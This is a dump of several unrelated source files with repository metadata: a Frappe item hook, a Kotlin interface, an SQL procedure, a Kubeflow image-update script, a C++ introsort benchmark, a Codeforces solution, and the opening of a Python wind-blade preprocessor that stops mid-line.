0.707572
1a977b79aaa21bea0dd73f73081cd91321d349fe
5,050
py
Python
bloomstack_core/hook_events/item.py
harshmule-git/bloomstack_core
a22fc1e6dc006e909c79914acc82f3827f1769ee
[ "MIT" ]
4
2021-03-01T08:44:39.000Z
2021-12-21T18:02:14.000Z
bloomstack_core/hook_events/item.py
harshmule-git/bloomstack_core
a22fc1e6dc006e909c79914acc82f3827f1769ee
[ "MIT" ]
23
2020-10-12T10:46:35.000Z
2021-11-02T08:23:01.000Z
bloomstack_core/hook_events/item.py
harshmule-git/bloomstack_core
a22fc1e6dc006e909c79914acc82f3827f1769ee
[ "MIT" ]
33
2020-10-09T13:24:10.000Z
2022-02-01T20:59:03.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2021, Bloomstack Inc. and contributors # For license information, please see license.txt import frappe import json from bloomstack_core.utils import get_abbr from erpnext import get_default_company from erpnext.accounts.utils import get_company_default from frappe.utils import cstr, get_host_name from bloomstack_core.bloomtrace import get_bloomtrace_client, make_integration_request from frappe import _ def create_integration_request(doc, method): make_integration_request(doc.doctype, doc.name, "Item") @frappe.whitelist() def autoname_item(item): item = frappe._dict(json.loads(item)) item_code = autoname(item) return item_code def autoname(item, method=None): """ Item Code = a + b + c + d + e, where a = abbreviated Company; all caps. b = abbreviated Brand; all caps. c = abbreviated Item Group; all caps. d = abbreviated Item Name; all caps. e = variant ID number; has to be incremented. """ if not frappe.db.get_single_value("Stock Settings", "autoname_item"): return # Get abbreviations item_group_abbr = get_abbr(item.item_group) item_name_abbr = get_abbr(item.item_name, 3) default_company = get_default_company() if default_company: company_abbr = get_company_default(default_company, "abbr") brand_abbr = get_abbr(item.brand, max_length=len(company_abbr)) brand_abbr = brand_abbr if company_abbr != brand_abbr else None params = list(filter(None, [company_abbr, brand_abbr, item_group_abbr, item_name_abbr])) item_code = "-".join(params) else: brand_abbr = get_abbr(item.brand) params = list(filter(None, [brand_abbr, item_group_abbr, item_name_abbr])) item_code = "-".join(params) # Get count count = len(frappe.get_all("Item", filters={"name": ["like", "%{}%".format(item_code)]})) if count > 0: item_code = "-".join([item_code, cstr(count + 1)]) # Set item document name item.name = item.item_code = item_code if not method: return item.item_code def execute_bloomtrace_integration_request(): frappe_client = get_bloomtrace_client() if not frappe_client: return pending_requests = frappe.get_all("Integration Request", filters={ "status": ["IN", ["Queued", "Failed"]], "reference_doctype": "Item", "integration_request_service": "BloomTrace" }, order_by="creation ASC", limit=50) for request in pending_requests: integration_request = frappe.get_doc("Integration Request", request.name) item = frappe.get_doc("Item", integration_request.reference_docname) try: if not item.bloomtrace_id: insert_compliance_item(item, frappe_client) else: update_compliance_item(item, frappe_client) integration_request.error = "" integration_request.status = "Completed" except Exception as e: integration_request.error = cstr(frappe.get_traceback()) integration_request.status = "Failed" integration_request.save(ignore_permissions=True) def insert_compliance_item(item, frappe_client): bloomtrace_compliance_item_dict = make_compliance_item(item) bloomtrace_compliance_item = frappe_client.insert(bloomtrace_compliance_item_dict) bloomtrace_id = bloomtrace_compliance_item.get('name') frappe.db.set_value("Item", item.name, "bloomtrace_id", bloomtrace_id) def update_compliance_item(item, frappe_client): bloomtrace_compliance_item_dict = make_compliance_item(item) bloomtrace_compliance_item_dict.update({ "name": item.bloomtrace_id }) frappe_client.update(bloomtrace_compliance_item_dict) def make_compliance_item(item): bloomtrace_compliance_item_dict = { "doctype": "Compliance Item", "bloomstack_site": get_host_name(), "item_code": item.item_code, "item_name": item.item_name, "enable_metrc": item.enable_metrc, "metrc_id": item.metrc_id, "metrc_item_category": item.metrc_item_category, "metrc_unit_value": item.metrc_unit_value, "metrc_uom": item.metrc_uom, "metrc_unit_uom": item.metrc_unit_uom } return bloomtrace_compliance_item_dict # Search querries def metrc_item_category_query(doctype, txt, searchfield, start, page_len, filters): metrc_uom = filters.get("metrc_uom") quantity_type = frappe.db.get_value("Compliance UOM", metrc_uom, "quantity_type") return frappe.get_all("Compliance Item Category", filters={"quantity_type": quantity_type}, as_list=1) def metrc_uom_query(doctype, txt, searchfield, start, page_len, filters): metrc_item_category = filters.get("metrc_item_category") quantity_type = frappe.db.get_value("Compliance Item Category", metrc_item_category, "quantity_type") return frappe.get_all("Compliance UOM", filters={"quantity_type": quantity_type}, as_list=1) def metrc_unit_uom_query(doctype, txt, searchfield, start, page_len, filters): metrc_item_category = filters.get("metrc_item_category") mandatory_unit = frappe.db.get_value("Compliance Item Category", metrc_item_category, "mandatory_unit") quantity_type = "VolumeBased" if mandatory_unit == "Weight": quantity_type = "WeightBased" return frappe.get_all("Compliance UOM", filters={"quantity_type": quantity_type}, as_list=1)
33.443709
104
0.770495
31f03c9b34867f8e7f8503e240174539b9f79f11
311
kt
Kotlin
src/main/kotlin/com/github/aivancioglo/resttest/verifiers/Verifier.kt
aivancioglo/RestTest
86cc428f5a4e81ea2276d192c189213e4b0fa552
[ "Apache-2.0" ]
6
2018-04-06T11:05:20.000Z
2021-03-22T20:03:41.000Z
src/main/kotlin/com/github/aivancioglo/resttest/verifiers/Verifier.kt
aivancioglo/RestTest
86cc428f5a4e81ea2276d192c189213e4b0fa552
[ "Apache-2.0" ]
1
2018-06-25T09:10:52.000Z
2018-06-25T09:10:52.000Z
src/main/kotlin/com/github/aivancioglo/resttest/verifiers/Verifier.kt
aivancioglo/RestTest
86cc428f5a4e81ea2276d192c189213e4b0fa552
[ "Apache-2.0" ]
null
null
null
package com.github.aivancioglo.resttest.verifiers import com.github.aivancioglo.resttest.http.Response /** * Verifiers interface. */ interface Verifier { /** * Function for response verification. * * @param response Response of your request. */ fun verify(response: Response) }
19.4375
52
0.691318
61fd970fcfead37a6726b9ecd6a4f5d5887635c2
485
sql
SQL
kata-files/lesson2/hsql/expected/MYLARGESCHEMA/sp/SP172.sql
goldmansachs/obevo-kata
5596ff44ad560d89d183ac0941b727db1a2a7346
[ "Apache-2.0" ]
22
2017-09-28T21:35:04.000Z
2022-02-12T06:24:28.000Z
kata-files/lesson2/hsql/expected/MYLARGESCHEMA/sp/SP172.sql
goldmansachs/obevo-kata
5596ff44ad560d89d183ac0941b727db1a2a7346
[ "Apache-2.0" ]
6
2017-07-01T13:52:34.000Z
2018-09-13T15:43:47.000Z
kata-files/lesson2/hsql/expected/MYLARGESCHEMA/sp/SP172.sql
goldmansachs/obevo-kata
5596ff44ad560d89d183ac0941b727db1a2a7346
[ "Apache-2.0" ]
11
2017-04-30T18:39:09.000Z
2021-08-22T16:21:11.000Z
CREATE PROCEDURE SP172(OUT MYCOUNT INTEGER) SPECIFIC SP172_78331 LANGUAGE SQL NOT DETERMINISTIC READS SQL DATA NEW SAVEPOINT LEVEL BEGIN ATOMIC DECLARE MYVAR INT;SELECT COUNT(*)INTO MYCOUNT FROM TABLE323;SELECT COUNT(*)INTO MYCOUNT FROM TABLE243;SELECT COUNT(*)INTO MYCOUNT FROM TABLE38;SELECT COUNT(*)INTO MYCOUNT FROM VIEW81;SELECT COUNT(*)INTO MYCOUNT FROM VIEW89;SELECT COUNT(*)INTO MYCOUNT FROM VIEW40;CALL SP921(MYVAR);CALL SP284(MYVAR);CALL SP455(MYVAR);CALL SP567(MYVAR);END GO
242.5
482
0.816495
6d9ca4c1d92e6dcca33d48d2c44cd7ec1e6d945f
252
h
C
submodules/LegacyComponents/LegacyComponents/TGMediaPickerGalleryGifItemView.h
miladajilian/MimMessenger
72aca46135eed311f5f2fd3b711446a61b526548
[ "MIT" ]
1
2018-08-30T08:02:12.000Z
2018-08-30T08:02:12.000Z
submodules/LegacyComponents/LegacyComponents/TGMediaPickerGalleryGifItemView.h
miladajilian/MimMessenger
72aca46135eed311f5f2fd3b711446a61b526548
[ "MIT" ]
null
null
null
submodules/LegacyComponents/LegacyComponents/TGMediaPickerGalleryGifItemView.h
miladajilian/MimMessenger
72aca46135eed311f5f2fd3b711446a61b526548
[ "MIT" ]
2
2018-08-30T08:04:17.000Z
2020-10-15T06:52:06.000Z
#import <LegacyComponents/TGModernGalleryItemView.h> #import "TGModernGalleryImageItemImageView.h" @interface TGMediaPickerGalleryGifItemView : TGModernGalleryItemView @property (nonatomic, strong) TGModernGalleryImageItemImageView *imageView; @end
28
75
0.861111
ff987dbaf3747e37071a3b1067faf73ea5262fbd
10,444
py
Python
py/kubeflow/kfctl/testing/ci/update_jupyter_web_app.py
Bobgy/kfctl
c174b38f6b5d5d9791ae5a4a4cbb6a9fa9890ffd
[ "Apache-2.0" ]
145
2019-07-25T15:35:35.000Z
2022-03-22T07:40:45.000Z
py/kubeflow/kfctl/testing/ci/update_jupyter_web_app.py
Bobgy/kfctl
c174b38f6b5d5d9791ae5a4a4cbb6a9fa9890ffd
[ "Apache-2.0" ]
501
2019-07-25T15:39:07.000Z
2022-03-30T20:23:18.000Z
py/kubeflow/kfctl/testing/ci/update_jupyter_web_app.py
Bobgy/kfctl
c174b38f6b5d5d9791ae5a4a4cbb6a9fa9890ffd
[ "Apache-2.0" ]
160
2019-07-25T15:53:56.000Z
2022-02-12T18:55:27.000Z
"""Script to build and update the Jupyter WebApp image. Requires python3 hub CLI depends on an OAuth token with repo permissions: https://hub.github.com/hub.1.html * It will look for environment variable GITHUB_TOKEN """ import logging import os import tempfile import yaml import fire import git import httplib2 from kubeflow.kfctl.testing.util import application_util from kubeflow.testing import util # pylint: disable=no-name-in-module from containerregistry.client import docker_creds from containerregistry.client import docker_name from containerregistry.client.v2_2 import docker_http from containerregistry.client.v2_2 import docker_image as v2_2_image from containerregistry.transport import transport_pool # The image name as defined in the kustomization file JUPYTER_WEB_APP_IMAGE_NAME = "gcr.io/kubeflow-images-public/jupyter-web-app" class WebAppUpdater(object): # pylint: disable=useless-object-inheritance def __init__(self): self._last_commit = None self.manifests_repo_dir = None def build_image(self, build_project, registry_project): """Build the image. Args: build_project: GCP project used to build the image. registry_project: GCP project used to host the image. """ env = dict() env.update(os.environ) env["PROJECT"] = build_project env["REGISTRY_PROJECT"] = registry_project env["GIT_TAG"] = self._last_commit with tempfile.NamedTemporaryFile() as hf: name = hf.name env["OUTPUT"] = name web_dir = self._component_dir() util.run(["make", "build-gcb"], env=env, cwd=web_dir) # TODO(jlewi): We want to get the actual image produced by GCB. Right # now this is a bit brittle because we have multiple layers of substitution # e.g. in the Makefile and then the GCB YAML. # It might be better to parse the stdout of make-build-gcb to get the # GCB job name and then fetch the GCB info specifying the images. with open(name) as hf: data = yaml.load(hf) return data["image"] @property def last_commit(self): """Get the last commit of a change to the source for the jupyter-web-app.""" if not self._last_commit: # Get the hash of the last commit to modify the source for the Jupyter web # app image self._last_commit = util.run(["git", "log", "-n", "1", "--pretty=format:\"%h\"", "components/jupyter-web-app"], cwd=self._root_dir()).strip("\"") return self._last_commit def _find_remote_repo(self, repo, remote_url): # pylint: disable=no-self-use """Find the remote repo if it has already been added. Args: repo: The git python repo object. remote_url: The URL of the remote repo e.g. git@github.com:jlewi/kubeflow.git Returns: remote: git-python object representing the remote repo or none if it isn't present. """ for r in repo.remotes: for u in r.urls: if remote_url == u: return r return None def all(self, build_project, registry_project, remote_fork, # pylint: disable=too-many-statements,too-many-branches kustomize_file, add_github_host=False): """Build the latest image and update the prototype. Args: build_project: GCP project used to build the image. registry_project: GCP project used to host the image. remote_fork: Url of the remote fork. The remote fork used to create the PR; e.g. git@github.com:jlewi/kubeflow.git. currently only ssh is supported. kustomize_file: Path to the kustomize file add_github_host: If true will add the github ssh host to known ssh hosts. """ # TODO(jlewi): How can we automatically determine the root of the git # repo containing the kustomize_file? self.manifests_repo_dir = util.run(["git", "rev-parse", "--show-toplevel"], cwd=os.path.dirname(kustomize_file)) repo = git.Repo(self.manifests_repo_dir) util.maybe_activate_service_account() last_commit = self.last_commit # Ensure github.com is in the known hosts if add_github_host: output = util.run(["ssh-keyscan", "github.com"]) with open(os.path.join(os.getenv("HOME"), ".ssh", "known_hosts"), mode='a') as hf: hf.write(output) if not remote_fork.startswith("git@github.com"): raise ValueError("Remote fork currently only supports ssh") remote_repo = self._find_remote_repo(repo, remote_fork) if not remote_repo: fork_name = remote_fork.split(":", 1)[-1].split("/", 1)[0] logging.info("Adding remote %s=%s", fork_name, remote_fork) remote_repo = repo.create_remote(fork_name, remote_fork) logging.info("Last change to components-jupyter-web-app was %s", last_commit) base = "gcr.io/{0}/jupyter-web-app".format(registry_project) # Check if there is already an image tagged with this commit. image = base + ":" + self.last_commit transport = transport_pool.Http(httplib2.Http) src = docker_name.from_string(image) creds = docker_creds.DefaultKeychain.Resolve(src) image_exists = False try: with v2_2_image.FromRegistry(src, creds, transport) as src_image: logging.info("Image %s exists; digest: %s", image, src_image.digest()) image_exists = True except docker_http.V2DiagnosticException as e: if e.status == 404: logging.info("%s doesn't exist", image) else: raise if not image_exists: logging.info("Building the image") image = self.build_image(build_project, registry_project) logging.info("Created image: %s", image) else: logging.info("Image %s already exists", image) # TODO(jlewi): What if the file was already modified so we didn't # modify it in this run but we still need to commit it? image_updated = application_util.set_kustomize_image( kustomize_file, JUPYTER_WEB_APP_IMAGE_NAME, image) if not image_updated: logging.info("kustomization not updated so not creating a PR.") return application_util.regenerate_manifest_tests(self.manifests_repo_dir) branch_name = "update_jupyter_{0}".format(last_commit) if repo.active_branch.name != branch_name: logging.info("Creating branch %s", branch_name) branch_names = [b.name for b in repo.branches] if branch_name in branch_names: logging.info("Branch %s exists", branch_name) util.run(["git", "checkout", branch_name], cwd=self.manifests_repo_dir) else: util.run(["git", "checkout", "-b", branch_name], cwd=self.manifests_repo_dir) if self._check_if_pr_exists(commit=last_commit): # Since a PR already exists updating to the specified commit # don't create a new one. # We don't want to just push -f because if the PR already exists # git push -f will retrigger the tests. # To force a recreate of the PR someone could close the existing # PR and a new PR will be created on the next cron run. return logging.info("Add file %s to repo", kustomize_file) repo.index.add([kustomize_file]) repo.index.add([os.path.join(self.manifests_repo_dir, "tests/*")]) repo.index.commit("Update the jupyter web app image to {0}".format(image)) util.run(["git", "push", "-f", remote_repo.name, "{0}:{0}".format(branch_name)], cwd=self.manifests_repo_dir) self.create_pull_request(commit=last_commit) def _pr_title(self, commit): pr_title = "[auto PR] Update the jupyter-web-app image to {0}".format( commit) return pr_title def _check_if_pr_exists(self, commit=None): """Check if a PR is already open. Returns: exists: True if a PR updating the image to the specified commit already exists and false otherwise. """ # TODO(jlewi): Modeled on # https://github.com/kubeflow/examples/blob/master/code_search/docker/ks/update_index.sh # TODO(jlewi): We should use the GitHub API and check if there is an # existing open pull request. Or potentially just use the hub CLI. if not commit: commit = self.last_commit logging.info("No commit specified defaulting to %s", commit) pr_title = self._pr_title(commit) # See hub conventions: # https://hub.github.com/hub.1.html # The GitHub repository is determined automatically based on the name # of remote repositories output = util.run(["hub", "pr", "list", "--format=%U;%t\n"], cwd=self.manifests_repo_dir) lines = output.splitlines() prs = {} for l in lines: n, t = l.split(";", 1) prs[t] = n if pr_title in prs: logging.info("PR %s already exists to update the Jupyter web app image " "to %s", prs[pr_title], commit) return True return False def create_pull_request(self, base="kubeflow:master", commit=None): """Create a pull request. Args: base: The base to use. Defaults to "kubeflow:master". This should be in the form <GitHub OWNER>:<branch> """ pr_title = self._pr_title(commit) with tempfile.NamedTemporaryFile(delete=False, mode="w") as hf: hf.write(pr_title) hf.write("\n") hf.write("\n") hf.write( "Image built from commit https://github.com/kubeflow/kubeflow/" "commit/{0}".format(self._last_commit)) message_file = hf.name # TODO(jlewi): -f creates the pull requests even if there are local changes # this was useful during development but we may want to drop it. util.run(["hub", "pull-request", "-f", "--base=" + base, "-F", message_file], cwd=self.manifests_repo_dir) def _root_dir(self): this_dir = os.path.dirname(__file__) return os.path.abspath(os.path.join(this_dir, "..", "..", "..", "..")) def _component_dir(self): return os.path.join(self._root_dir(), "components", "jupyter-web-app") if __name__ == '__main__': logging.basicConfig(level=logging.INFO, format=('%(levelname)s|%(asctime)s' '|%(pathname)s|%(lineno)d| %(message)s'), datefmt='%Y-%m-%dT%H:%M:%S', ) logging.getLogger().setLevel(logging.INFO) fire.Fire(WebAppUpdater)
35.645051
117
0.659996
e472b0a1d42a546d705f31ca05a8974f1287f514
8,653
cpp
C++
benchmarks/sorting/stest.cpp
lammich/isabelle_llvm
8b739d4db67c291866db9a6847605cd74bdff79e
[ "BSD-3-Clause" ]
21
2019-09-10T15:07:28.000Z
2022-03-30T06:16:15.000Z
benchmarks/sorting/stest.cpp
lammich/isabelle_llvm
8b739d4db67c291866db9a6847605cd74bdff79e
[ "BSD-3-Clause" ]
null
null
null
benchmarks/sorting/stest.cpp
lammich/isabelle_llvm
8b739d4db67c291866db9a6847605cd74bdff79e
[ "BSD-3-Clause" ]
1
2019-09-12T04:36:02.000Z
2019-09-12T04:36:02.000Z
#include <algorithm> #include <iostream> #include <vector> #include <boost/sort/common/time_measure.hpp> uint64_t llcnt_partitionings=0; uint64_t llcnt_partitions=0; extern "C" { #include "introsort.h" } size_t NELEM = 32; namespace bsc = boost::sort::common; using bsc::time_point; using bsc::now; using bsc::subtract_time; template <typename A> void print_range(A begin, A end) { uint64_t last=0; bool dots=false; for (auto i=begin;i<end;++i) { bool print = i==begin || last+1 != *i; if (!print && !dots) {std::cout<<"..."; dots=true; } if (print && dots) {std::cout<<last; dots=false; } if (print && i!=begin) std::cout<<" "; if (print) {std::cout<<*i; dots=false; } last=*i; } if (dots) {std::cout<<last; dots=false; } std::cout<<std::endl; } void prn(int x) { if (x<10) std::cout<<" "; std::cout<<x; } template <typename A> void print_range2(A l0, A begin, A end) { size_t n = end-begin; size_t base = begin-l0; for (size_t i=0;i<n;++i) {prn(base+i); std::cout<<" ";} std::cout<<std::endl; for (size_t i=0;i<n;++i) {prn(*(begin+i)); std::cout<<" ";} std::cout<<std::endl; } /* template <typename A> void print_range(A begin, A end) { for (auto i=begin;i<end;++i) std::cout<<*i<<" "; std::cout<<std::endl; } */ extern "C" { void incr_partitionings() {++llcnt_partitionings;} void incr_partitions() {++llcnt_partitions;} void print_partition(uint64_t *a, int64_t l, int64_t h) { print_range(a+l,a+h); } } template<typename RandomAccessIterator> inline void std_heapsort(RandomAccessIterator first, RandomAccessIterator last) { std::make_heap(first,last); std::sort_heap(first,last); } namespace annot { uint64_t cnt_dlimit=0; uint64_t cnt_intro_loops=0; uint64_t cnt_partitionings=0; uint64_t cnt_partitions=0; void print_stats() { std::cout<<"**** STL ***"<<std::endl; std::cout<<"hit depth limit: "<<cnt_dlimit<<std::endl; std::cout<<"intro loops: "<<cnt_intro_loops<<std::endl; std::cout<<"partitionings: "<<cnt_partitionings<<std::endl; std::cout<<"partitions: "<<cnt_partitions<<std::endl; std::cout<<std::endl; std::cout<<"**** Isabelle-LLVM ***"<<std::endl; std::cout<<"partitionings: "<<llcnt_partitionings<<std::endl; std::cout<<"partitions: "<<llcnt_partitions<<std::endl; } /// This is a helper function for the sort routine. template<typename _RandomAccessIterator, typename _Size, typename _Compare> void __introsort_loop(_RandomAccessIterator __first, _RandomAccessIterator __last, _Size __depth_limit, _Compare __comp) { while (__last - __first > int(std::_S_threshold)) { ++cnt_intro_loops; if (__depth_limit == 0) { ++cnt_dlimit; std::__partial_sort(__first, __last, __last, __comp); return; } --__depth_limit; print_range(__first,__last); _RandomAccessIterator __cut = std::__unguarded_partition_pivot(__first, __last, __comp); print_range(__first,__last); ++cnt_partitionings; annot::__introsort_loop(__cut, __last, __depth_limit, __comp); __last = __cut; } ++cnt_partitions; } // sort template<typename _RandomAccessIterator, typename _Compare> inline void __sort(_RandomAccessIterator __first, _RandomAccessIterator __last, _Compare __comp) { if (__first != __last) { annot::__introsort_loop(__first, __last, std::__lg(__last - __first) * 2, __comp); std::__final_insertion_sort(__first, __last, __comp); } } template<typename _RandomAccessIterator> inline void sort(_RandomAccessIterator __first, _RandomAccessIterator __last) { // concept requirements __glibcxx_function_requires(_Mutable_RandomAccessIteratorConcept< _RandomAccessIterator>) __glibcxx_function_requires(_LessThanComparableConcept< typename iterator_traits<_RandomAccessIterator>::value_type>) __glibcxx_requires_valid_range(__first, __last); __glibcxx_requires_irreflexive(__first, __last); annot::__sort(__first, __last, __gnu_cxx::__ops::__iter_less_iter()); } } namespace test2 { std::vector<uint64_t>::iterator l0; /// This is a helper function... template<typename _RandomAccessIterator, typename _Compare> _RandomAccessIterator __unguarded_partition(_RandomAccessIterator __first, _RandomAccessIterator __last, _RandomAccessIterator __pivot, _Compare __comp) { while (true) { while (__first!=__last && __comp(__first, __pivot)) ++__first; --__last; while (__first!=__last && __comp(__pivot, __last)) --__last; if (!(__first < __last)) return __first; std::iter_swap(__first, __last); ++__first; } } /// This is a helper function... template<typename _RandomAccessIterator, typename _Compare> inline _RandomAccessIterator __unguarded_partition_pivot(_RandomAccessIterator __first, _RandomAccessIterator __last, _Compare __comp) { _RandomAccessIterator __mid = __first + (__last - __first) / 2; std::cout<<"mid = "<<__mid-l0<<std::endl; std::__move_median_to_first(__first, __first + 1, __mid, __last - 1, __comp); return test2::__unguarded_partition(__first + 1, __last, __first, __comp); } /// This is a helper function for the sort routine. template<typename _RandomAccessIterator, typename _Size, typename _Compare> void __introsort_loop(_RandomAccessIterator __first, _RandomAccessIterator __last, _Size __depth_limit, _Compare __comp) { while (__last - __first > int(std::_S_threshold)) { std::cout<<"Sorting ["<<(__first-l0)<<"..."<<(__last-l0)<<"]"<<std::endl; if (__depth_limit == 0) { std::cout<<"HIT DEPTH LIMIT"<<std::endl; std::__partial_sort(__first, __last, __last, __comp); return; } --__depth_limit; _RandomAccessIterator __cut = test2::__unguarded_partition_pivot(__first, __last, __comp); std::cout<<"cut at "<<(__cut-l0)<<std::endl; print_range2(l0,__first,__last); test2::__introsort_loop(__cut, __last, __depth_limit, __comp); __last = __cut; } } template<typename _RandomAccessIterator, typename _Compare> inline void __sort(_RandomAccessIterator __first, _RandomAccessIterator __last, _Compare __comp) { if (__first != __last) { test2::__introsort_loop(__first, __last, std::__lg(__last - __first) * 2, __comp); std::cout<<"partially sorted array"<<std::endl; print_range2(l0,__first,__last); std::__final_insertion_sort(__first, __last, __comp); std::cout<<"RESULT"<<std::endl; print_range2(l0,__first,__last); } } template<typename _RandomAccessIterator> inline void sort(_RandomAccessIterator __first, _RandomAccessIterator __last) { // concept requirements __glibcxx_function_requires(_Mutable_RandomAccessIteratorConcept< _RandomAccessIterator>) __glibcxx_function_requires(_LessThanComparableConcept< typename iterator_traits<_RandomAccessIterator>::value_type>) __glibcxx_requires_valid_range(__first, __last); __glibcxx_requires_irreflexive(__first, __last); test2::__sort(__first, __last, __gnu_cxx::__ops::__iter_less_iter()); } } template<typename A> void time_op(std::string name, A op) { auto start = now (); op(); auto finish = now (); auto duration = subtract_time (finish, start); std::cout<<name<<": "<<duration<<std::endl; } int main (int argc, char *argv[]) { std::cout<<sizeof(llstring)<<std::endl; std::cout<<sizeof(std::vector<char>)<<std::endl; std::cout<<sizeof(std::string)<<std::endl; return 1; std::vector<uint64_t> A,B; A.reserve (NELEM); A.clear (); for (size_t i = 0; i < NELEM; ++i) A.push_back (i); A[0]=9; A[15]=10; B=A; test2::l0=B.begin(); time_op("test2::sort", [&B]{test2::sort(B.begin(),B.end());}); // B=A; // time_op("std::sort", [&B]{std::sort(B.begin(),B.end());}); // B=A; // time_op("std::heapsort", [&B]{std_heapsort(B.begin(),B.end());}); // // B=A; // time_op("isabelle-llvm::heapsort", [&B]{heapsort(B.data(),0,NELEM);}); // annot::print_stats(); /* B=A; time_op("std::heapsort", [&B]{std::make_heap(B.begin(),B.end()); std::sort_heap(B.begin(),B.end()); });*/ // xxx, ctd here: try to confirm influence of insertion-sort (measure time with omitted final-sort) // try to tune threshold factor? }
22.952255
107
0.654802
029b4ad5e413faf728cfca0f64f0bf38fa38e055
1,003
cpp
C++
Codeforces/CF1618F.cpp
Nickel-Angel/Coding-Practice
6fb70e9c9542323f82a9a8714727cc668ff58567
[ "MIT" ]
null
null
null
Codeforces/CF1618F.cpp
Nickel-Angel/Coding-Practice
6fb70e9c9542323f82a9a8714727cc668ff58567
[ "MIT" ]
1
2021-11-18T15:10:29.000Z
2021-11-20T07:13:31.000Z
Codeforces/CF1618F.cpp
Nickel-Angel/ACM-and-OI
79d13fd008c3a1fe9ebf35329aceb1fcb260d5d9
[ "MIT" ]
null
null
null
/* * @author Nickel_Angel (1239004072@qq.com) * @copyright Copyright (c) 2021 */ #include <algorithm> #include <iostream> #include <cstdio> #include <cstring> #include <set> #include <string> using std::set; using std::string; long long x, y; string tar, ori; set<string> cur; void dfs(string s) { if (cur.count(s) || s.length() > 100) return; if (s == tar) { puts("YES"); exit(0); } cur.insert(s); auto it = s.rbegin(); while (it != s.rend() && *it == '0') ++it; string t; while (it != s.rend()) { t += *it; ++it; } dfs(t); std::reverse(s.begin(), s.end()); dfs("1" + s); } int main() { scanf("%lld%lld", &x, &y); while (y) { tar += '0' + (y & 1); y >>= 1; } std::reverse(tar.begin(), tar.end()); while (x) { ori += '0' + (x & 1); x >>= 1; } std::reverse(ori.begin(), ori.end()); dfs(ori); puts("NO"); return 0; }
16.177419
42
0.461615
dc6b3e41417bbb500739832bf5308e0da6f1f9e2
94
rb
Ruby
spec/controllers/mercedes_controller_spec.rb
BounHackers/servisim-backend
903fce173924b4e04e6bb1429c564c5e57213145
[ "MIT" ]
null
null
null
spec/controllers/mercedes_controller_spec.rb
BounHackers/servisim-backend
903fce173924b4e04e6bb1429c564c5e57213145
[ "MIT" ]
16
2018-12-01T19:07:10.000Z
2022-03-30T22:56:50.000Z
spec/controllers/mercedes_controller_spec.rb
BounHackers/servisim-backend
903fce173924b4e04e6bb1429c564c5e57213145
[ "MIT" ]
null
null
null
require 'rails_helper' RSpec.describe Api::V1::MercedesController, type: :controller do end
15.666667
64
0.787234
b028d206a1d82cc97d050fb73dff3defba0564d9
32,457
py
Python
precomp.py
leeleing/precomp
cd367bcf9fa7fe10bd266dccec0a90598777abf0
[ "MIT" ]
3
2015-03-30T09:20:34.000Z
2015-03-30T09:20:46.000Z
precomp.py
leeleing/precomp
cd367bcf9fa7fe10bd266dccec0a90598777abf0
[ "MIT" ]
null
null
null
precomp.py
leeleing/precomp
cd367bcf9fa7fe10bd266dccec0a90598777abf0
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Mar 30 10:17:05 2015 @author: lilei """ import sys import re import math import datetime # Program name ProgName = "precomp" # Version string Version = "0.1" # This controls whether info/debug messages are printed # (0=none, 1=info, 2=info+debug) DebugLevel = 1 def PRSetDebugLevel(level): global DebugLevel DebugLevel = level def PRInfo( str ): global DebugLevel if DebugLevel >= 1: print >> sys.stdout, str def PRDebug( str ): global DebugLevel if DebugLevel >= 2: print >> sys.stdout, str def Fatal( str ): print >> sys.stderr, 'Error',str sys.exit(-1) def Warn( str ): print >> sys.stdout, 'Warning',str class MIF: """Main input file class """ __giPattern = re.compile(r'^([^\s]+)\s+.+') def __init__( self ): self.name = "" self.file_name = "" self.Bl_length = 0.0 self.N_sections = 0 self.N_materials = 0 self.Out_format = 1 self.TabDelim = True self.BssD = [] self.WebsD = WEBS() self.Materials = [] self.x1w = 0.0 self.l_web = 0.0 self.r1w = 0.0 self.r2w = 0.0 self.ch1 = 0.0 self.ch2 = 0.0 def LoadPci( self, file): with open(file) as pci: self.file_name = pci.name.split('.')[0] pci.readline() self.name = pci.readline() pci.readline() pci.readline() try: self.Bl_length = float(self.__ReadGeneralInformation( pci.readline())) if self.Bl_length <= 0: raise Exception('blade length not positive') self.N_sections = int(self.__ReadGeneralInformation( pci.readline())) if self.N_sections < 2: raise Exception('number of blade stations less than two') self.N_materials = int(self.__ReadGeneralInformation( pci.readline())) self.Out_format = int(self.__ReadGeneralInformation( pci.readline())) if self.Out_format <= 0 or self.Out_format > 3 : raise Exception('out_format flag not recognizable') self.TabDelim = (self.__ReadGeneralInformation( pci.readline()) == 't' and True) or False except Exception,ex: Fatal('General information Read error:' + str(ex)) for i in range(7): pci.readline() #read blade-sections-specific data for section in range(self.N_sections): bss = BSS(pci.readline(), self.Bl_length) # check location of blade station if section == 0: if abs(bss.Span_loc) > 0: Fatal('first blade station location not zero') else: if bss.Span_loc > self.Bl_length: Fatal('blade station location exceeds blade length') if bss.Span_loc < self.BssD[section-1].Span_loc: Fatal('blade station location decreasing') #check leading edge location if bss.Le_loc < 0: Warn('leading edge aft of reference axis') #check chord length if bss.Chord <= 0: Fatal('chord length not positive') self.BssD.append(bss) #get th_prime and phi_prime self.__tw_rate() for i in range(3): pci.readline() try: self.WebsD.Nweb = int(self.__ReadGeneralInformation( pci.readline())) if self.WebsD.Nweb < 0: raise Exception('negative number of webs') if self.WebsD.Nweb == 0: PRInfo('no webs in this blade') self.WebsD.Webs_exist = 0 if self.WebsD.Nweb >= 1: self.WebsD.Ib_sp_stn = int(self.__ReadGeneralInformation( pci.readline())) if self.WebsD.Ib_sp_stn < 1: raise Exception('web located inboard of the blade root') if self.WebsD.Ib_sp_stn > self.N_sections: raise Exception('web inboard end past last blade stn') self.WebsD.Ob_sp_stn = int(self.__ReadGeneralInformation( pci.readline())) if self.WebsD.Ob_sp_stn < self.WebsD.Ib_sp_stn: raise Exception('web outboard end location not past the inboard location') if self.WebsD.Ob_sp_stn > self.N_sections: raise Exception('web outboard end past last blade stn') else: self.x1w = self.BssD[self.WebsD.Ib_sp_stn - 1].Span_loc self.l_web = self.BssD[self.WebsD.Ob_sp_stn - 1].Span_loc - self.x1w #parameters required later for locating webs within a blade section self.r1w = self.BssD[self.WebsD.Ib_sp_stn - 1].Le_loc self.r2w = self.BssD[self.WebsD.Ob_sp_stn - 1].Le_loc self.ch1 = self.BssD[self.WebsD.Ib_sp_stn - 1].Chord self.ch2 = self.BssD[self.WebsD.Ob_sp_stn - 1].Chord for i in range(2): pci.readline() for web in range(self.WebsD.Nweb): web_num = 